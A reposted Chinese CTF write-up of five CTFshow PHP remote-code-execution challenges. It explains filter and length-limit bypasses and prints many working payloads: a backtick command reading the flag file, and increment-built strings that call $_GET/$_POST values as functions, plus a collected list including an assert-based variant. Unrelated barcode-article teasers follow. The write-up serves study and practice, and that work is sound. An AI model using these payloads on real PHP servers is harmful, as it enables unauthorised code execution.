CTFSHOW 每周大挑战 RCE极限挑战

news/2025/3/15 10:20:41/

RCE挑战1

开题直接给了源码

image-20230702202834520

过滤了括号和点号。

使用内敛绕过。

payload:

code=echo `tac /f1agaaa`;

image-20230702235452518

RCE挑战2

源码直接给了。

基本把能用的都过滤了,只剩下$()_+;[],.=/字符,自增RCE无疑。

//相当于 ($_GET[_])($_GET[__])  使用的时候url编码一下$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);

payload:

ctf_show=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%3D'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3B                 //POST?_=system&__=tac /f1agaaa                   //GET

image-20230703000659700

RCE挑战3

开题直接给了源码,和上题差不多,可以使用1和0,但是加了长度限制。

image-20230703000904202

解法的话,就是可以用到PHP中的NAN和INF:

NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

如何得到呢?可以这样:

$_=C/C;//NAN
$_=1/C//INF

C/C这里,实际上运算的时候会变成0/0。而下面的则是1/0。

但是这还不是字符串,需要来个拼接即可,这样就可以去到N:

$_=C/C.C;
var_dump($_[0]);

这样不用通过从C自增到N,可以减少很多的长度。

接下来就是想办法构造_GET,慢慢自增来拿到字母,然后拼接:

$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;

最后这样即可:

$$_[0]($$_[1]);

相当于$_GET[0]($_GET[1])

所以就是:

$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;$$_[0]($$_[1]);

post传的话还需要url编码。

但是这个长度是106,楽。重新构造一次吧。

$_=([].[])[0];    //得到Array
$_=($_/$_.$_)[0];   //__=N
$_++;  //O
$__=$_.$_++;  //拼接PO
$_++;$_++;$_++;  //S
$__.=$_;
$_++;  //T
$_=_.$__.$_;  //拼接_和POST
$$_[0]($$_[1]);  //$_POST[0]($_POST[1])

所有可行的payload:

$a=(0/0);$a.=_;$a=$a[0];$a++;$o=$a++;$p=$a++;$a++;$a++;$s=$a++;$t=$a;$_=_;$_.=$p.$o.$s.$t;$$_[0]($$_[1]);
//$_POST[0]($_POST[1]);$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$__.=$_;$_++;$_=_.$__.$_;$$_[0]($$_[1]);
//$_POST[0]($_POST[1])$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]);
//$_POST[0]($_POST[1])

image-20230703003012187

RCE挑战4

长度变为了小于84。

image-20230703003122478

$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);
//$_POST[_]($_POST[0])

RCE挑战5

长度变为了小于73。

image-20230703004318050

$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
//$_POST[_POST]($_POST[_])# 不可见字符替换
$_=_(_._)[_];$%FA=++$_;$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[%FF]);

另一种方法:phpinfo中多了个gettext()扩展插件,使得我们可以用_()直接转为字符串

<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])$_=$a.$a++;//PO
至于为什么是得到PO而不是OP或者OO之类的,官方wp上师傅们讨论的结果是:PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO这里相当于先执行了$a++操作(函数),并得到$a++的返回值,然后和左侧的$a变量进行拼接,此时$a已经是P了。而$_=_.$a.$a++;时先执行了_和$a的拼接,而后再执行$_='_O'.$a++,所以得到的是_OO。

奉上收集的payload:

//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
//相当于assert($_POST[_]);   然后post传入   _=phpinfo();            测试发现7.0.12以上版本不可使用$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);
//相当于 ($_GET[_])($_GET[__])  使用的时候url编码一下$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;$$_[0]($$_[1]);
//$_GET[0]($_GET[1])$a=(0/0);$a.=_;$a=$a[0];$a++;$o=$a++;$p=$a++;$a++;$a++;$s=$a++;$t=$a;$_=_;$_.=$p.$o.$s.$t;$$_[0]($$_[1]);
//$_POST[0]($_POST[1]);$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$__.=$_;$_++;$_=_.$__.$_;$$_[0]($$_[1]);
//$_POST[0]($_POST[1])$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]);
//$_POST[0]($_POST[1])$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);
//$_POST[_]($_POST[0])$a=_(a/a)[a];++$a;$_=$a.$a++;$a++;$a++;$_=_.$_.++$a.++$a;$$_[a]($$_[_]);
//$_POST[a]($_POST[_])$_=_(a/a)[_];$a=++$_;$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);
//$_POST[_POST]($_POST[_])$_=_(_._)[_];$%FA=++$_;$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[%FF]);
//将拼接放到同一行,不可见字符替换php中 $_ = []._; echo $_; => Array_ $_[0]==>A 这样就可以构造命令执行
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
//$_GET[1]($_GET[2])

http://www.ppmy.cn/news/789127.html

相关文章

用python编写:已知条码号,将条码号生成条形码并打印

可以使用Python绘制条形码&#xff0c;可以使用pyBarcode库。可以使用Python中的PIL库(Python Imaging Library)来输出条形码图像&#xff0c;并使用Python打印机模块(Python printer module)来打印图像。

打印机打印出来的条码是歪的怎么办

条码使我们的消费更便捷&#xff0c;在我们的日常生活中随处可见。那么条码打印机、条码打印软件也就随之而生。在打印的过程有时候也会遇到打印出来的条码是歪的&#xff0c;这可能由于裁纸不当或纸张没有放好等原因造成的&#xff0c;如果在这种倾斜的标签空白处按照正常的标…

佳博便携式条码打印机怎么使用_佳博条码打印机打印模式设置问题

现在市面上很多条码打印机的打印模式有两种&#xff1a;热转印和热敏式。热转印模式一般是配合碳带用来打印铜版纸&#xff0c;热敏式主要是打印热敏纸。 正是因为这两种打印模式所打印的材质不同&#xff0c;所以我们在更换了打印材质的时候&#xff0c;也要在Windows操作系统…

如何生成条形码并打印出来

几乎现在所有的商品中全部都含有条形码&#xff0c;那么这么多的条形码都是如何生成和打印出来的呢&#xff0c;打印条形码可能大家都比较清楚&#xff0c;只需要打印机就可以了&#xff0c;但是在批量生成数据不同的条形码时还是需要借助专业软件的。本文我们就中琅条码软件来…

自动生成条形码软件如何批量打印可变条码

自动生成条形码&#xff0c;顾名思义就是可以自动编写条形码数据并生成条形码。这种情况一般是用于公司的内部管理使用&#xff0c;不用于外部的商品流通&#xff0c;在中琅条形码软件中&#xff0c;软件是支持自动生成条形码并打印可变条码的&#xff0c;其生成方法主要有两种…

条形码打印 EPL命令解释

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using System.Runtime.InteropServices;namespace ITE.Windows.Common {public class BarCodePrint{//并口打印[StructLayout(LayoutKind.Sequential)]private struc…

条码打印软件标签纸页面设置的方法

在条码打印软件中,设置纸张是打开软件后的第一步,首先我们需要先将标签纸张尺寸设置好,才可以在后期打印过程中少出现错误,节省打印调试时间。那么对于多排多列的标签纸该如何进行页面设置呢,下面我们来详细看一下: 首先用尺子测量标签的尺寸,各种标签的测量有所不同,…

vue条形码,二维码,打印总结分享

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、vue 项目中生成条形码&#xff08;jsbarcode&#xff09;二、vue中使用二维码插件1.使用方法2.贴心小提示 三、vue的打印插件总结 前言 提示&#xff1a;这…